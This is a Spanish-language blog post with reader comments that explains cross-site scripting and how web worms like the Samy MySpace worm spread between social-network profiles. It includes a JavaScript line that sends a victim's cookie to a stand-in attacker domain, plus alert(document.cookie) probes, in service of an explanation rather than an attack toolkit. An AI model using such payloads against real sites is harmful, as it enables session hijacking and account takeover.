Que es un gusano web y cómo funciona

Antiguamente, los gusanos eran códigos maliciosos, preparados para extenderse rápidamente de sistema en sistema, mediante las redes p2p, el envío automatizado por correo, etc. Los gusanos eran programas informáticos, que al ejecutarlos, utilizaban tu ordenador para extenderse a muchos mas sistemas, sin que tu vieses absolutamente nada.

En la actualidad, con la extrema popularidad e importancia que tiene el mundo web, los gusanos han ido evolucionando, de forma que ha nacido un nuevo tipo de gusano, que no infecta tu ordenador, ni es un programa compilado que debes descargar, sino que es un pequeño fragmento de código javascript, que infecta tu perfil en alguna web.

Todo empezó con los agujeros de seguridad de tipo Cross Site Scripting (XSS), un tipo de agujero de seguridad, al que no se le presta tanta atención como a otros que a priori parecen mas peligrosos, como los Sql Injection, o similares, pero que es tanto o mas peligroso.

Pero para entender los web worms, debemos empezar desde muy al principio, desde las bases de los ataques tipo XSS. Un ataque XSS persigue, normalmente, robar la cookie del visitante. La cookie es una pequeña porción de información, que sirve para que la página web, recuerde que te has autenticado correctamente, y no te pida la contraseña cada vez que quieres hacer una acción.

Para robar la cookie, los ataques XSS se sirven de código javascript, ya que el código javascript se ejecuta en el navegador, tiene acceso a las cookies del mismo, sin embargo, por seguridad, un código javascript solo puede ver las cookies del sitio web que hospeda ese código javascript.

Es decir, si yo visito http://www.ejemplo.com, y esta web me envía un javascript que accede a las cookies, este javascript no podrá ver mis cookies de otras páginas web.

Y es en esa protección, en la que reside el peligro del Cross Site Scripting; imaginemos una página web que te pregunta tu nombre al entrar, tu lo introduces, y te muestra por pantalla: Hola! <nombreintroducido>. Si yo, en el nombre, introduzco:

<script>alert(document.cookie)</script>

Mi código javascript, podrá acceder a las cookies de esa página web, ya que el código javascript, el navegador, lo recibe a través de la web que me ha preguntado mi nombre.

¿Cual es el peligro real de todo esto?

Veamos un ejemplo ficticio, pero posible…Imaginemos que gmail tiene un error de seguridad, y permite introducir código javascript en el cuerpo de un mail, yo podría escribirte un mail que contubiese el siguiente código:

<script>document.location.href=’www.paginamaligna.com/recogercookie.php?cookie=’+document.cookie;</script>

Cuando tu abrieses el correo, el navegador te redirigiría hacía paginamaligna.com, pasándole por GET, tu cookie, a la cual hemos tenido acceso, ya que el javascript, para el navegador, procedía de gmail.

Una vez con tu cookie, borro mi cookie de gmail, y me pongo la tuya, ahora ya estoy autentificado en gmail, con tu nombre de usuario, y puedo leer tu correo.

Una vez entendido esto, entender los gusanos web (web worms) son fáciles de entender, imagina que yo estoy en una red social, y tengo un perfil público, en el cual hay un campo ‘intereses’, donde la gente pone lo que le gusta hacer. Si ese campo, permite introducir código HTML, sin filtrarlo, yo podría introducir:

<script>alert(document.cookie);</script>

Y cuando alguien visitase mi perfil, se mostrase su cookie. Si ahora en lugar de un alert, introduzco un código, que hace un petición POST a la red social, y modifica el perfil de la victima, introduciendo en el campo intereses, el mismo código malicioso que yo tengo, cada persona que entre, se le modificará automáticamente su perfil, y cada persona que vea ese perfil modificado, modificará automaticamente el suyo, y así sucesivamente.

En unas horas, todos los perfiles de una red social pueden estar modificados, es decir, infectados con el código.

Además, este código podría enviarle las cookies al autor original del código, mediante una petición invisible a alguna web (usando un iframe invisible, por ejemplo), de forma que no solo ha infectado todos los perfiles, sino que tiene todas las cookies, de todo el mundo, en la web.

Aunque todo esto suene rocambolesco, es una realidad, y ha sucedido ya en muchas ocasiones, siendo quizás la mas famosa, la de samy, un código javascript que infecto millones de perfiles en myspace, mediante un agujero de tipo XSS.

Como siempre, para protegerse de estos ataques, lo mejor es utilizar noscript, para firefox.

12 Respuestas to “Que es un gusano web y cómo funciona”


  1. 1 Zerial May 2, 2009 a las 10:33 pm

    Hola!

    Buena explicación sobre que es y como funciona un ataque XSS.

    Hace un tiempo un tipo progamó un gusano para Twitter que explotaba justamente esta vulnerabilidad (XSS):
    http://www.computerweekly.com/Articles/2009/04/15/235651/twitter-hacks-simple-xss-attacks-says-security-firm.htm

    saludos

  2. 2 Aurex May 3, 2009 a las 6:53 pm

    Wow, en verdad que felicitaciones por todo tu trabajo, creo que así queda más entendible la peligrosidad de los XSS, me parece excelente como manejas las cosas.

    Y si en algun momento tienes tiempo, estaría bien que pusieras algunos tips de como protegerse de este tipo de problemas, para los desarrolladores, por ejemplo, como hacer las peticiones para evitar los CSRF y demas.

    Saludos

  3. 3 codigodeamor May 7, 2009 a las 1:46 am

    muy buen articulo.

    visiten:
    http://codigodeamor.wordpress.com

    blog mejorando día a día gracias a ustedes y próximamente nuevas sorpresas.

  4. 4 jcarlosn May 7, 2009 a las 6:50 pm

    Aurex ya escribiré sobre protegerse contra cosas, no suelo hacerlo, y es cierto que también es interesante.

    Un saludo!

  5. 5 David May 11, 2009 a las 10:09 pm

    Una explicación muy clara. Muchas gracias.

    Al final no vamos a poder navegar por ahí si no es con escopetas «virtuales claro» 😀

  6. 6 Aurex May 15, 2009 a las 6:34 am

    jajaj David, matar gusanos con «escopetas» es como matar moscas a cañonazos… que no?

    jaja, pero al igual que, si no hay moscas, el ecosistema se altera. Si no hay bugs, un sistema no es sistema 😉

    claro que hay moscas mas grandes que otras

    un saludo.

  7. 7 Ghaaaaaa! julio 30, 2009 a las 3:20 pm

    Maldito seas! Actualiza ya!

  8. 8 Serdom octubre 22, 2009 a las 12:54 am

    Te agradezco por la información que envias. La verdad vale la pena adentrarnos cada día más en el tema de la seguridad.

  9. 10 Alfonso julio 5, 2012 a las 8:03 pm

    \u003C Hola jaja soy yo denuevo XD


  1. 1 Diez posts para entender cómo funciona Internet | Clases de Periodismo Trackback en May 21, 2010 a las 11:05 pm

Replica a Alfonso Cancelar la respuesta